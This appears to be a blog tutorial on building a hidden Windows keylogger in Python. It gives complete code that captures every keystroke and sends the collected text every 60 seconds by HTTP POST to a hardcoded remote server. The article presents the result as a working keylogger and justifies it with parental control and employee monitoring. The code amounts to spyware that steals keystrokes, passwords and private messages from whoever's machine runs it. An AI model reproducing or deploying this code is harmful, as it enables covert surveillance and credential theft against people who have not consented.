Signup/Sign In
LAST UPDATED: MARCH 31, 2023

Create a Windows Keylogger with Python

In situations, when you need to track user activity, such as in a research study, parental control or monitoring employee productivity, a keylogger tool can be really useful.

In this article, we will use Python to send keyboard data (user keystrokes) to remote server. Before we get started, make sure you have Python installed on your system (Here is a complete tutorial on Python installation)

Creating a Windows keylogger with Python

Here is the step-by-step guide for creating a hidden keylogger using Python script:

Step 1: Import Required Libraries

First, we need to do is import the necessary libraries. We need to import four functions given as follows:

  1. pynput:keyboard - monitor the keyboard

  2. requests - send POST requests to the server

  3. json - convert Python objects to JSON strings

  4. threading - set up a timer function

# import libs

from pynput import keyboard
import requests
import json
import threading

Step 2: Set Up Global Variables

Next, We will create a variable "text" to hold the text that we'll send to the server.

Next, we have to hardcode values of our server IP address and port. The "time_interval" variable specifies the time interval in seconds for the code to execute (which sends keyboard data).

# initialize text which will be sent to server
text = ""

# setup global variables
ip_address = "105.78.32.16"
port_number = "8081"
time_interval = 60

Replace "ip_address" and "port_number" with your server's IP address and port number.

Step 3: Record Keyboard Data

The on_press() function is used to record all keyboard data.

  • log the key once it is released so that it takes the modifier keys into consideration

  • key gets logged to the in-memory string based on the key press

  • convert the key object to a string

  • append it to the string held in memory

# Record all keyboard input

def on_press(key):
    global text
    if key == keyboard.Key.enter:
        text += "\n"
    elif key == keyboard.Key.tab:
        text += "\t"
    elif key == keyboard.Key.space:
        text += " "
    elif key == keyboard.Key.shift:
        pass
    elif key == keyboard.Key.backspace and len(text) == 0:
        pass
    elif key == keyboard.Key.backspace and len(text) > 0:
        text = text[:-1]
    elif key == keyboard.Key.ctrl_l or key == keyboard.Key.ctrl_r:
        pass
    elif key == keyboard.Key.esc:
        return False
    else:
        text += str(key).strip("'")

Step 4: Define a Function to Send POST Requests

Now, define a function to send POST requests to the remote server.

  • convert the Python object into a JSON string so that we can POST it to the server

  • create a payload variable that holds the JSON string

  • use the requests library to send the POST request to the server

  • set up a timer function to run every time_interval seconds

  • call send_post_req() recursively as long as the program is running

# Send keyboard input

def send_post_req():
    try:
        payload = json.dumps({"keyboardData" : text})
        r = requests.post(f"http://{ip_address}:{port_number}", data=payload, headers={"Content-Type" : "application/json"})
        timer = threading.Timer(time_interval, send_post_req)
        timer.start()
    except:
        print("Request failed!")

Step 5: Send the POST Request

In this final step, we create a keyboard listener using the "Listener()" function from keyboard library. We pass "on_press()" function as callback to listener, which means that every time a key is pressed, the "on_press()" function will be called.

  • Start by calling the "send_post_req()" function to send initial POST request to the server

  • Use the "listener.join()" function to keep keyboard listener running in background while main thread waits for listener to finish.

with keyboard.Listener(
    on_press=on_press) as listener:
    # sending the post request to remote server
    send_post_req()
    listener.join()

After completing the above steps, we have a working keylogger program.

Pradeep has expertise in Linux, Go, Nginx, Apache, CyberSecurity, AppSec and various other technical areas. He has contributed to numerous publications and websites, providing his readers with insightful and informative content.
IF YOU LIKE IT, THEN SHARE IT
Advertisement

RELATED POSTS